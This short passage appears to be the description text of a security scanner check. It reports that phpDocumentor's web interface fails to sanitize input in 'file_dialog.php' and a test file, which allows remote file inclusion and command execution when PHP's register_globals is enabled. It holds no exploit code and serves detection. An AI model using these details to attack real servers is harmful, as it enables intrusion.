The remote host appears to be running the web-interface of
phpDocumentor. 

This version does not properly sanitize user input in the
'file_dialog.php' file and a test file called 'bug-559668.php' It is
possible for an attacker to include remote files and execute arbitrary
commands on the remote system, and display the content of sensitive
files. 

This flaw is exploitable if PHP's 'register_globals' setting is
enabled.");
